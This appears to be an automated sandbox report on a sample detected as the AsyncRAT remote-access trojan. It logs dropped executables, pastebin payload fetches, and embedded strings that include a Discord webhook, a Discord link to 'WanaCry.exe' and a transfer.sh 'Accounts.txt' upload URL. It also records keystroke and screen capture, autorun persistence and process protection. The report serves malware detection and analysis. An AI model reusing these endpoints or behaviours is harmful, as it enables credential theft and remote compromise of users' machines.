Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/hbwHfEg3 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KKpnJShN HTTP/1.1Host: pastebin.com

Source: global traffic

DNS traffic detected: DNS query: pastebin.com

Source: a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	String found in binary or memory: http://ipv4bot.whatismyipaddress.com/
Source: Explorer.exe, 00000010.00000002.4490902100.0000000002D0D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D65000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C6D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E27000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C8F000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CE3000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B52000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C42000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.0000000002571000.00000004.00000800.00020000.00000000.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002AE3000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000011.00000002.2159201232.0000000003461000.00000004.00000800.00020000.00000000.sdmp, explore.exe, 00000018.00000002.2221220011.00000000030E1000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	String found in binary or memory: http://pastebin.com/raw/KKpnJShN
Source: Explorer.exe, 00000010.00000002.4490902100.0000000002D0D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D65000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E27000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C8F000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CE3000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C42000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com/raw/KKpnJShNd
Source: explore.exe, 00000018.00000002.2221220011.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com/raw/hbwHfEg3
Source: Explorer.exe, 00000010.00000002.4490902100.0000000002D0D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D65000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C6D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E27000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CE3000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com/raw/hbwHfEg3d
Source: Explorer.exe, 00000010.00000002.4490902100.0000000002D0D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D65000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C6D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E27000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C8F000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CE3000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C42000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.comd
Source: rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Explorer.exe, 00000010.00000002.4490902100.0000000002AEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.or
Source: a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/903603651585663016/913496700734279730/WanaCry.exe
Source: a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	String found in binary or memory: https://discord.com/api/webhooks/780783005307895818/1tcNqwidYko-32qqkw7-SN35HpBY-1NoZHwFmRnTSgREpOcu
Source: a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	String found in binary or memory: https://dl.teamviewer.com/download/TeamViewer_Setup_x64.exe
Source: Explorer.exe, 00000010.00000002.4490902100.0000000002D0D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D65000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C6D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E27000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C8F000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CE3000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C42000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: Explorer.exe, 00000010.00000002.4490902100.0000000002C42000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/KKpnJShN
Source: a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	String found in binary or memory: https://pastebin.com/raw/hFaPBSUm
Source: Explorer.exe, 00000010.00000002.4490902100.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/hbwHfEg3
Source: a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	String found in binary or memory: https://transfer.sh/Accounts.txt?
Source: a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	String found in binary or memory: https://www.techniknews.net/wp-content/uploads/2018/07/discord-logo.jpg
Source: a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	String found in binary or memory: https://youtu.be/9Ew461CAlmQ?t=10Chttps://youtu.be/xAZMu-qKLxE?t=35

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:50059 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 5.0.rrat.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rrat.exe.26db1a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rrat.exe.26db1a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2089096502.0000000002571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a.exe PID: 1372, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rrat.exe PID: 1968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Explorer.exe PID: 7356, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\explore.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Explorer.exe, type: DROPPED

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process information set: 00 00 00 00			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process information set: 01 00 00 00			Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.0.rrat.exe.200000.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 5.2.rrat.exe.26db1a0.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000010.00000002.4490902100.0000000002B05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000005.00000002.2089096502.0000000002571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: a.exe PID: 1372, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: rrat.exe PID: 1968, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: Explorer.exe PID: 7356, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: C:\Users\user\AppData\Local\explore.exe, type: DROPPED	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, type: DROPPED	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\Explorer.exe, type: DROPPED	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen

Source: C:\Users\user\AppData\Roaming\Explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\rrats.exe

Code function: 0_2_00CA6FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00CA6FAA

Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CA848E	0_2_00CA848E
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CB6CDC	0_2_00CB6CDC
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CA40FE	0_2_00CA40FE
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CB4088	0_2_00CB4088
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CB00B7	0_2_00CB00B7
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CC51C9	0_2_00CC51C9
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CB7153	0_2_00CB7153
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CB62CA	0_2_00CB62CA
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CA32F7	0_2_00CA32F7
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CB43BF	0_2_00CB43BF
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CCD440	0_2_00CCD440
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CAF461	0_2_00CAF461
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CAC426	0_2_00CAC426
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CB77EF	0_2_00CB77EF
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CCD8EE	0_2_00CCD8EE
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CA286B	0_2_00CA286B
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CD19F4	0_2_00CD19F4
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CAE9B7	0_2_00CAE9B7
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CB3E0B	0_2_00CB3E0B
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CAEFE2	0_2_00CAEFE2
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CC4F9A	0_2_00CC4F9A
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E8A825	4_2_00E8A825
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E99832	4_2_00E99832
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E85017	4_2_00E85017
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E859C7	4_2_00E859C7
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00EA226E	4_2_00EA226E
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E99A61	4_2_00E99A61
